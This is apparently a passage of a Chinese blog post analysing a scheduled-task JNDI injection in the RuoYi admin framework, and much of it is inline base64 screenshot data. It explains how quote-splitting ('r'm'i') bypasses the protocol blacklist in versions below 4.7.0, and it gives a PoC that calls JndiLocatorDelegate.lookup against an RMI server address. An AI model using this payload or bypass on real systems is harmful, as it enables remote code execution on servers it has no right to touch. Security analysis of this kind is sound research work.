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
<p blockindex=66>后边发现不止这一篇，其他就不在举例了。</p>
<p blockindex=67><img src="data:image/png;base64,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
<p blockindex=68>但是我去翻了diff，发现在4.7.1中的黑名单已经过滤了这些poc。</p>
<p blockindex=69><img src="data:image/png;base64,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qFpeXh7PPfccffv25YorrmD48OGkpKR4dBWw2+2kpKQwdOhQWrduTVxcHC+88AJFRUUBjLzhUkvzULvPWPjseAk6ixlVcYz3q6GBAoqiA620Ulinc5QL20ow5h1D17gx+uAg9CEh6IJDQBeMqoSwLvtCt1276nhcTDI4oGMAb968mbvvvpvbbruNZcuWYTQaAxXKRTt79iyjRo0iPz+fpUuX0qtXr0qXX7duHdOnT+eaa64hOjqabdu2sWHDBj9FW3MlJSXcd999fPvtt6xevZobbrgBgO3bt5OQkMDNN9/M+++/77rrri55G/tXVVVCQ0MJCgqq8/0DnD59mqeffpp58+bRpUsX1/QDBw6QlJTEyy+/TIsWLeo+kNwMklL30XPGPOIj6353QgghhBBCCCGEEKJ27N27F71eT/fu3V3TSkpKMBgMKIrC6tWr+e677xg7dizXXnttACOt2o4dO/j3v//NU089xauvvsrIkSOJiYnxy77tdruryKbsWMD+GAd45cqVvP/++64EaEFBATt37uTcuXOu7707dOhAmzZtCA8PB+CWW25h5syZNG/evNbjcVb/duvWrda2WVhYyOuvv05mZiYlJSUe88aPH0+nTp0YOnQoZrOZp556iqysLI9lmjVrxsiRIxk/fvwlNTaz3W6ne/fuTJo0CbvdztKlS8nOzkav1wc6NJ8cOXKERx99lK+//pobbriBIUOGMGjQIK677jqvXTT79OnD3XffzfPPPx+AaGvXli1bXNfkpWjFihXMmjWLG264gbvvvpt27drx888/849//INz586xfPly2rVrx/33309xcTETJ06ka9euHD58mA8//JCjR4/ywQcf0Lt370C/lAZF1TR0isK8rNOkHlMwmguwa6BqKjpFcSSBARTHvwoqilGP7lw+hi++QNeoKTRuBMEhaLpQVIsNVAWMIbw7uhcJvdt67M+RCqv+2MCGWnitNbJmzRruvfdexo8fzxtvvHFJveGXpaoq48aNo3Xr1nz66ac0atSoynWGDRvGtm3bGDhwIFu2bOH666/3Q6QX5/z589xxxx0cP36czMxMj4TnDTfcQGZmJkOHDmX48OF8+umnhIWF+SWusnf2GQz+u6xPnz4NQMeOHT2mO38+ffq0fxLAlzQTaYnp5MXOYF7Z7HVuBkmpmUSMTmaSz/9XWM0U5U6yF+5n08zuVS9+uajRsQywAMdsSkskPS+WGfNiMCWlkplfdolwYuvypgtTGonpOYR7+90AcjOSSM2MYHTyJHDFGo+3cNyXvVROf6CYqjiWVaxc6Tnzui+3Tm6Vr+d4r7yweB1ff+XkkpGUSmZ+VMXXUenrr1DUaJJ9+GU2pSWSFX0JvVcJIYQQQghxETRNIyMjA4B58+a5viP98ssv+eGHH5g4cSJ33XUXer2ef/3rX7Rq1Yr27dsHMuQKqarKf/7zH/r370+TJk2Ii4tjw4YNFSaZaptOp0Ov12Oz2VxjKDqPp/vzunDu3DkmTpzIuHHj6Ny5s2v6iBEjPIqe5s6dy9mzZ10/r1y5ElVVAza8XnU98sgj7Nq1i4SEBEJCQjzmderUyePnPn360KxZM49p+fn5zJ07F7PZfEkNibh06VLOnz/P448/jqZpvP7666xYsY
<h3 blockindex=70>单引号绕过</h3>
<p blockindex=71>在4.7.0的版本以下，仅仅只是屏蔽了ldap、http(s)、ldap。这里可以结合若依对将参数中的所有单引号替换为空来绕过</p>
<p blockindex=72>poc、例如：</p>
<pre blockindex=73><code class="hljs language-php">org.springframework.jndi.JndiLocatorDelegate.lookup(<span class=hljs-string>'r'</span>m<span class=hljs-string>'i://127.0.0.1:1099/refObj'</span>)
</code></pre>
<p blockindex=74>分析：</p>
<p blockindex=75>创建任务时<code>r'm'i</code>可以绕过对<code>rmi</code>的过滤</p>
<p blockindex=76><img src="data:image/png;base64,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
<p blockindex=77>之前分析的定时任务运行的原理，会在<code>com.ruoyi.quartz.util.JobInvokeUtil</code>类中第一个<code>invokeMethod</code>方法调用<code>getMethodParams</code>方法来获取参数</p>
<p blockindex=78><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA+8AAAIACAYAAADzH13GAAAgAElEQVR4nOzdd3gVVf748ffkJiG9EFJJCAkdQgtNQm8CAUQBQRQEAZUVu6u7+sN1cb+ra2F1LbhYQVDsFAGRIiAltISWBEJID+m9J/fezO+PhOSmAPeGYEL283oenofcO/fMOWfOzJzPnDMzSidff5U2QFXN8RgynYGWFzh64iL5WjPaOfvQe+hoOpccZfuhGHSK0tLZFEIIIYQQQgghTKa0leAdAFt/Bo8Zho8t6HRmWFiaUZ59kbDDJ0gtk8BdCCGEEEIIIcTtqW0F74CqKrRzcMbeSoO2JJ/ConJUGXEXQgghhBBCCHEbM2/pDDQ3RVGpKMwhu7DmgxbNjxBCCCGEEEIIcbPMWjoDQgghhBBCCCGEuD4J3oUQQgghhBBCiFZOgnchhBBCCCGEEKKVk+BdCCGEEEIIIYRo5SR4F0IIIYQQQgghWjkJ3oUQQgghhBBCiFZOgnchhBBCCCGEEKKVk+BdCCGEEEIIIYRo5SR4F0KIa7HtSN8AHyxVtaVzIloZ1bYzfXu7Y4W0DSGEEEL8McxbOgO3mqoqWGoq0VYqLZ2VVqWt1EtLlUNVLTAz16Lq/9DVij+IigMBdy9h4eQBuKb8wHPnE6lo6UyJ1sUpkHl/vgvHlBP8/MU6dseUtHSORBujquZYWOjQ6Vo6J0IIIVoLjaOT899bOhO9Ro3j0yl2XDyVTprSeBDWbeQYvrgngPl3dGf+Hd25b5AN8SfSSL7G8gCqasPsueP5